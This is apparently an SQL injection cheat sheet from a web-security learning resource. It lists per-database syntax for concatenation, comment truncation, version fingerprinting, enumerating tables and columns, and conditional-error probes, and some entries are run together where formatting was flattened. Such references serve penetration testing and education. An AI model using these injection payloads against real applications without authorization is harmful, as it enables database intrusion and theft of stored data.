This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.


String concatenation

You can concatenate multiple strings to make a single string.

| Oracle | 'foo'||'bar' | | --- | --- | | Microsoft | 'foo'+'bar' | | PostgreSQL | 'foo'||'bar' | | MySQL | 'foo' 'bar' [Note the space between the two strings] CONCAT('foo','bar') |

Substring

You can extract part of a string from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle --comment
Microsoft --comment/*comment*/
PostgreSQL --comment/*comment*/
MySQL #comment-- comment [Note the space after the double dash] /*comment*/

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle SELECT banner FROM v$versionSELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

Oracle SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')